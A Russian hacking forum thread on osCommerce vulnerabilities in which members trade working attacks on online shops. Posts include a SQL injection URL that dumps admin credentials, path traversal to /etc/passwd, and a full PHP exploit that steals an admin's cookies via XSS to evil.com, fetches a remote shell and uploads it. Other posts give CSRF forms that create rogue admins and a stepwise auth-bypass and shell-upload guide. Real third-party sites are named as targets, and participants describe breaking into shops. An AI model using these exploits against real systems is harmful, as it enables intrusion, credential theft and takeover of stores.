[ Обзор уязвимостей #osCommerce# ]

Discussion in 'Веб-уязвимости' started by life_is_shit, 22 May 2008.

  1. life_is_shit

    life_is_shit Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    300
    Likes Received:
    149
    Reputations:
    19
    Обзор уязвимостей osCommerce


    === osCommerce 3.0a3 (admin/templates_boxes_layout.php) Directory Traversal Bug Discloses Files to Remote Users ===



    === osCommerce 2.2 Multiple Cross Site Scripting Vulnerability ===

    === osCommerce 2.2 (osCsid) Cross Site Scripting Vulnerability ===

    === osCommerce 2.2 (error_message) Cross Site Scripting Vulnerability ===

    === osCommerce 2.2 (file_manager.php) File Browsing ===



    === osCommerce <= 2.2 (extras/) information/source code disclosure ===

    === osCommerce <=2.2 SQL Injection Vulnerability (create_account_process.php) ===

    === osCommerce <=2.2 (index.php) HTTP Response Splitting ===



    === osCommerce SQL Injection (customer_testimonials.php) ===

    === osCommerce (Contact_us) Cross Site Scripting Vulnerability ===

    === osCommerce (wrapper.php) PHP Including Vulnerability ===

    upd:

    === Oscommerce <= 2.2 (advanced_search_result.php) SQL-injection ===
    url: advanced_search_result.php?inc_subcat=1&keywords=%20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1--


    Напишу еще от меня:

    admin/ - админка.

    includes/configure.php - здесь хранится данные к mysql, и общие настройки.

    admin/configure.php - здесь хранится данные к mysql, и общие настройки. в старых версиях также лежит пароль к админке в открытом виде.

    admin/backups/ - здесь хранятся mysql бекапы, не всегда админы ставят правильные права.

    md5(salt+plain):salt - в таком виде хранятся пароли в базе.

    customers - таблица юзеров.

    customers_email_address, customers_password - поля в таблице customers необходимые для авторизации юзеров.

    administrator или admin - таблица админов.

    admin_email_address, admin_password - поля в таблице administrator необходимые для авторизации админов.

    (c) life_is_shit
     
    #1 life_is_shit, 22 May 2008
    Last edited: 10 Nov 2009
    3 people like this.
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Версия х3, какой мод стоит тоже х3) найдено 28.06.2007

    Code:
    http://localhost/os/admin/htmlarea/popups/file/insert_file.php
    заливаем наш шелл. по дефолту он заливается в папку download в корне, НО нам мешает .htaccess с содержанием
    Code:
    AuthType Basic
    AuthName "No access"
    AuthUserFile .htnopasswd
    AuthGroupFile /dev/null
    Require valid-user
    
    файл .htnopasswd как таковой вообще отсутствует и авторизация невозможна.
    поэтому заходим на
    Code:
    http://localhost/os/admin/htmlarea/popups/lister.php?DPI=96&action=delete&path=&file=../download/.htaccess
    и нагло сносим зловредный файл)
    Code:
    http://www.site.ro/admin/htmlarea/popups/file/files.php?dir=/../
    Листинг.

    Примеры
    http://www.sex-toysuk.com/admin/htmlarea/popups/file/insert_file.php
    http://www.copilasultau.ro/admin/htmlarea/popups/file/files.php?dir=/../../
     
    _________________________
    1 person likes this.
  3. Uwater

    Uwater Banned

    Joined:
    18 Jun 2009
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    Уязвимости Oscommerce

    Скачать : http://www.oscommerce.com/solutions/downloads


    XSS:


    В этом движке есть раздел для изменения\редактирования баннеров( banner_manager.php):

    Code:
    http://site/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new
    Уже видна ксс:

    Code:
    http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new
    Мы можем написать подобие сплоита под эту багу:

    Code:
    <?php
    $web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* Уязвимый юрл */
    $url_shell = 'http://www.gay.com/evil/shell.txt'; /* Путь к нашему шеллу */
    $logs = md5($web_vulnerable).'_logs.txt'; /* логи*/
     
    if(!$_GET){
    if($web_vulnerable[strlen($web_vulnerable) - 1] != '/') $web_vulnerable .= '/';
    logs('Редирект для  XSS');
    header(
     'Location: '.
     $web_vulnerable.
     'admin/banner_manager.php?page=1"><script src=http://'.
     $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']
     .'?acc=js></script><br x="&bID=1&action=new'); // Редирект
     exit;
     
    /* Крадем куки */
    }elseif($_GET['acc'] == 'js'){
     logs('Передача JavaScript');
     die('
       document.location="http://'.
      $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].
     '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '.
     'escape(navigator.userAgent);
     ');
     
    }elseif($_GET['acc'] == 'choco'){
     logs('Cookie получены Cookie='.$_GET['galleta'].'');
     if(!$cookie = urldecode($_GET['galleta'])){
      logs('Неа');
      exit; 
     }
     $host = explode('/', $web_vulnerable);
     $host = $host[2];
     $url = explode('http://'.$host, $web_vulnerable);
     $url = $url[1].'/';
     // Заливка шелла
     if(!$shell = file_get_contents($url_shell)){
      logs('Не удалось залить шелл');
      exit;
     }
     $post_data = 
    '-----------------------------66182058019796
    Content-Disposition: form-data; name="file_1"; filename="config.php"
    Content-Type: text/x-php
     
    '.$shell.'
    -----------------------------66182058019796
    Content-Disposition: form-data; name="file_2"; filename=""
    Content-Type: application/octet-stream
     
     
    -----------------------------66182058019796
    Content-Disposition: form-data; name="file_3"; filename=""
    Content-Type: application/octet-stream
     
     
    -----------------------------66182058019796
    Content-Disposition: form-data; name="file_4"; filename=""
    Content-Type: application/octet-stream
     
     
    -----------------------------66182058019796
    Content-Disposition: form-data; name="file_5"; filename=""
    Content-Type: application/octet-stream
     
    -----------------------------66182058019796
    Content-Disposition: form-data; name="x"
     
    '.rand(10,19).'
    -----------------------------66182058019796
    Content-Disposition: form-data; name="y"
     
    '.rand(10,19).'
    -----------------------------66182058019796--
     
    ';
     
     /* Проверка соедениня */
     if(!eregi('302', enviar_socket(
    'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1
    Host: '.$host.'
    User-Agent: '.urldecode($_GET['uag']).'
    Connection: close
    Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload
    Cookie: '.$cookie.'
    Content-Type: multipart/form-data; boundary=---------------------------66182058019796
    Content-Length: '.(int)strlen($post_data)."\n\n".$post_data))){
      logs('Ошибка');
      exit;
     }
     
     /* Проверка на успешность) */
     if(eregi('images/icons/success.gif', enviar_socket(
    'GET '.$url.'admin/file_manager.php HTTP/1.1
    Host: '.$host.'
    User-Agent: '.urldecode($_GET['uag']).'
    Connection: close
    Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads
    Cookie: '.$cookie."\n\n\n"))){
      logs('Успешно URL='.$web_vulnerable.'config.php');
     }else{
      logs('Ошибка');
      exit;
     }
    }
     
    function handle_socket(){
     global $host;
     if(!$handle = fsockopen($host, 80)){
      logs('Удаленный сервер не отвечает');
      exit;
     }
     return $handle;
    }
     
    function enviar_socket($buffer){
     $handle = handle_socket();
     fwrite($handle, $buffer);
      while(!feof($handle)){
      $buffer .= fgets($handle, 128);
     }
     fclose($handle);
     if(!$buffer){
      logs('Удаленный сервер не отвечает');
      exit;
     }
     return $buffer;
    }
     
    function logs($contenido){
     global $logs;
     if(file_exists($logs)) $modo = 'a'; else $modo = 'x';
     if(!$handle = fopen($logs, $modo)) return false;
     fwrite($handle, '[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A");
     fclose($handle);
    }
    ?>
    Немного подробней:

    Code:
    http://site/oscommerce/admin/banner_manager.php?page=1"><script src=http://evil.com/manda.php?acc=js></script><br x="&bID=1&action=new
    Таким образом видно:

    Code:
    <form name="new_banner" action="http://site/oscommerce/admin/banner_manager.php?page=1\"><script src=http://evil.com/manda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">
    Получаем печенья:
    Code:
    document.location="http://evil/manda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);
    Зачем нам нужен User Agent?

    В Оскомерес есть "защита" на такие случаи:

    Смотри файл includes/application_top.php 227 строка:

    Code:
    if ($SESSION_USER_AGENT != $http_user_agent){
          tep_session_destroy();
          tep_redirect(tep_href_link(FILENAME_LOGIN));
    }
    Используем :
    Code:
    User-Agent: '.urldecode($_GET['uag']).'
    Затем льем шелл:
    Code:
    http://site/oscommerce/admin/file_manager.php?action=processuploads
    Переходи на Admin / file_manager.php и смотри новые загрузки.

    Ксс там куева туча, практически везде где есть ID или что-то подобное, например:

    Code:
    http://site/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test
    Code:
    http://site/oscommerce/admin/configuration.php?gID=1'"><h1>test

    XSRF



    Code:
    http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=
    
    POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows; U ...
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
    Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    categories_id=1&x=17&y=11
    Видно?

    Code:
    <form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">
    <input type=hidden name="categories_id" value="1" />
    </form>
    <script>document.getElementsByTagName("form")[0].submit();</script>

    Создаем нового пользователя с правами админа:

    Code:
    <form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
    <input type=hidden name="username" value="r00t" />
    <input type=hidden name="password" value="lol" />
    <input type=hidden name="x" value="16" />
    <input type=hidden name="y" value="13" />
    </form>
    <script>document.getElementsByTagName("form")[0].submit();</script>

    Стоит заметить что движок часто использует $ _SERVER [ 'PHP_SELF'] , а это приводит к ксс, ну я насчитал у 26 файлов....
    Например:

    Code:
    http://demo.oscommerce.com/index.php/ "> XSS <h1> 
    Всем пис, скоро продолжу)
     
    1 person likes this.
  4. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.

    Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.

    Для заливки пригодны два штатных инструмента
    /admin/file_manager.php
    /admin/banner_manager.php,
    но доступ к ним разрешен только авторизованному админу.

    Можно воспользоваться сплоитом http://www.milw0rm.com/exploits/9556 , который использует
    следующую уязвимость: для доступа к скриптам в каталоге admin/ проверяется валидность
    аминской сессии и если таковая не обнаружена идет перенаправление на admin/login.php
    (см. admin/includes/application_top.php) но проверка if ($current_page != FILENAME_LOGIN),
    если обнаружит, что url ссылается на login.php, редиррект не производит и тело скрипта выполняется.

    Достаточно модифицировать урл

    /admin/file_manager.php - /admin/file_manager.php/login.php
    /admin/banner_manager.php - /admin/banner_manager.php/login.php
    /admin/administrators.php - /admin/administrators.php/login.php

    и скрипт выполнится для неавторизованного пользователя.

    При заливке приходится учитывать, что часть сайтов отказывается выполнить залитый шелл,
    если на него установлены права на запись, к примеру c правами chmod 777 shell.php не запускается,
    а с правами chmod 755 shell.php срабатывает.


    Атаку можно провести следующим образом:

    1 - (не обязательно) проверяем доступность и работоспособность file_manager.php
    http://target.com/admin/file_manager.php/login.php?action=download&filename=includes/configure.php
    или просто
    http://target.com/admin/file_manager.php/login.php
    работают конструкции типа
    http://target.com/file_manager.php?action=download&filename=../../../../../../../../etc/passwd

    2 - (не обязательно, но удобнее) добавляем нового админа
    можно использовать, как предложил Uwater (из поста выше).

    HTML:
    	<form method="post" action="http://target.com/admin/administrators.php/login.php?action=insert">
    	<input type=hidden name="username" value="as" />
    	<input type=hidden name="password" value="123123" />
    	<input type=hidden name="x" value="16" />
    	<input type=hidden name="y" value="13" />
    	</form>
    	<script>document.getElementsByTagName("form")[0].submit();</script>
    
    3 - льем шелл из админки, Administration/Tools/File Manager
    Administration/Tools/Banner Manager

    а если она не доступна (иногда administrtors.php удален) гуляем вместе с
    /admin/file_manager.php, модифицируя ссылки file_manager.php? на file_manager.php/login.php?

    Для заливки есть три команды
    action=new_file - чаще всего попадаем в нужные права chmod
    action=upload - удобно,но часто дает права на запись и шелл не запускается
    action=edit - когда не срабатывают первае два, просто трояним скрипт магазина
    (например для исправления chmod загруженного шелла)

    примеры
    http://target.com/admin/file_manager.php/login.php?action=new_file
    алтернативно
    http://target.com/admin/file_manager.php/login.php?action=upload
    алтернативно
    http://target.com/admin/banner_manager.php/login.php?action=new

    Для кнопок, отправляющих данные из формы приходится аналогично править исходный код страницы.

    file_manager.php (если мы не меняли каталог) льет шелл в корень магазина.
    banner_manager.php в images.

    4 - чистим за собой (админа, баннеры, скрипты магазина)
     
    3 people like this.
  5. undergl

    undergl New Member

    Joined:
    13 Oct 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Слил хеши админов, но не совсем понятен формат хранеия паролей в базе:
    md5(salt+plain):salt - что подразумевается под "plain"?
     
  6. life_is_shit

    life_is_shit Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    300
    Likes Received:
    149
    Reputations:
    19
    пароль в чистом виде
     
  7. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Недавно ломал один шоп, даже не посмотрел, что он на osCommerce, нашёл инъекцию:

    advanced_search_result.php?inc_subcat=1&keywords=%20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_password)+from+administrators+limit+1,1--

    Она почему-то в багтреках не упоминается, но в отчётах о патчах есть
     
  8. life_is_shit

    life_is_shit Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    300
    Likes Received:
    149
    Reputations:
    19
    какие версии уязвимы?
     
  9. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    life_is_shit, вот oscommerce-2.2ms1j - Change Log, где это написано, что бага зафиксена 2007-02-17 16:53
    http://ko.sourceforge.jp/projects/tep-j/document/oscommerce-2.2ms1j_oscommerce-2.2ms1j_-_Changes/

    Стало быть версии до этой уязвимы.
     
    #9 Root-access, 9 Nov 2009
    Last edited: 14 Nov 2009
    3 people like this.
  10. life_is_shit

    life_is_shit Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    300
    Likes Received:
    149
    Reputations:
    19
    добавил.